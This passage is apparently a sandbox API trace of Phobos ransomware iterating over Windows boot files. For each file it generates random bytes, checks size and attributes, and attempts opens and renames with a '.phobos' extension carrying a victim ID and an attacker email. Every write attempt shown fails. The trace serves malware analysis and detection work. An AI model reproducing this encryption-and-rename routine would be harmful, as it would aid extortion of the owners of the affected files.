returned 0x588 [0124.535] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=74144) returned 1 [0124.535] CloseHandle (hObject=0x588) returned 1 [0124.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0124.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.535] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.536] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.537] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.537] ResetEvent (hEvent=0x514) returned 1 [0124.537] SetEvent (hEvent=0x518) returned 1 [0124.537] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.537] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.537] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77664) returned 1 [0124.537] CloseHandle (hObject=0x588) returned 1 [0124.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0124.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.537] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.538] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.539] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.539] ResetEvent (hEvent=0x514) returned 1 [0124.539] SetEvent (hEvent=0x518) returned 1 [0124.539] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.539] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.539] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77664) returned 1 [0124.539] CloseHandle (hObject=0x588) returned 1 [0124.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0124.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.540] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.540] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.541] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.541] ResetEvent (hEvent=0x514) returned 1 [0124.541] SetEvent (hEvent=0x518) returned 1 [0124.541] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.541] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.541] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=76640) returned 1 [0124.542] CloseHandle (hObject=0x588) returned 1 [0124.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0124.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.542] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.542] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.543] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.544] ResetEvent (hEvent=0x514) returned 1 [0124.544] SetEvent (hEvent=0x518) returned 1 [0124.544] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.544] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.545] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3695719) returned 1 [0124.545] CloseHandle (hObject=0x588) returned 1 [0124.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0124.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0124.545] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.549] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.549] ResetEvent (hEvent=0x514) returned 1 [0124.549] SetEvent (hEvent=0x518) returned 1 [0124.549] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.549] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.551] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1985867) returned 1 [0124.551] CloseHandle (hObject=0x588) returned 1 [0124.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0124.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0124.551] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.553] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.554] ResetEvent (hEvent=0x514) returned 1 [0124.554] SetEvent (hEvent=0x518) returned 1 [0124.554] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.554] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.555] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=174959) returned 1 [0124.555] CloseHandle (hObject=0x588) returned 1 [0124.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0124.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.555] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.555] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.557] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.558] ResetEvent (hEvent=0x514) returned 1 [0124.558] SetEvent (hEvent=0x518) returned 1 [0124.558] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.558] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.560] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=143754) returned 1 [0124.560] CloseHandle (hObject=0x588) returned 1 [0124.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0124.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.560] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.560] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.562] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.562] ResetEvent (hEvent=0x514) returned 1 [0124.562] SetEvent (hEvent=0x518) returned 1 [0124.563] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.563] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.563] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=162331) returned 1 [0124.563] CloseHandle (hObject=0x588) returned 1 [0124.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0124.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.564] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.564] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.566] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.566] ResetEvent (hEvent=0x514) returned 1 [0124.566] SetEvent (hEvent=0x518) returned 1 [0124.566] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.566] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.566] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=154427) returned 1 [0124.566] CloseHandle (hObject=0x588) returned 1 [0124.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0124.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.567] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.567] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.568] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.568] ResetEvent (hEvent=0x514) returned 1 [0124.568] SetEvent (hEvent=0x518) returned 1 [0124.568] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.568] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.569] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=44859) returned 1 [0124.569] CloseHandle (hObject=0x588) returned 1 [0124.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0124.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.569] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.569] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.570] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.571] ResetEvent (hEvent=0x514) returned 1 [0124.571] SetEvent (hEvent=0x518) returned 1 [0124.571] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.571] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.571] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=86178) returned 1 [0124.571] CloseHandle (hObject=0x588) returned 1 [0124.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0124.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.571] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.571] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.573] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.573] ResetEvent (hEvent=0x514) returned 1 [0124.573] SetEvent (hEvent=0x518) returned 1 [0124.573] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.573] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.573] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=79200) returned 1 [0124.573] CloseHandle (hObject=0x588) returned 1 [0124.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0124.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.573] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.573] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.575] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.575] ResetEvent (hEvent=0x514) returned 1 [0124.575] SetEvent (hEvent=0x518) returned 1 [0124.575] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.575] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.575] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45984) returned 1 [0124.575] CloseHandle (hObject=0x588) returned 1 [0124.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0124.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.576] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.576] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.577] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.577] ResetEvent (hEvent=0x514) returned 1 [0124.577] SetEvent (hEvent=0x518) returned 1 [0124.577] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.577] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.577] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=78688) returned 1 [0124.577] CloseHandle (hObject=0x588) returned 1 [0124.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0124.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.578] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.578] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.579] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.579] ResetEvent (hEvent=0x514) returned 1 [0124.579] SetEvent (hEvent=0x518) returned 1 [0124.579] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.579] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.580] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77144) returned 1 [0124.580] CloseHandle (hObject=0x588) returned 1 [0124.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0124.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.580] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.580] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.581] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.581] ResetEvent (hEvent=0x514) returned 1 [0124.582] SetEvent (hEvent=0x518) returned 1 [0124.582] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.582] CreateFileW 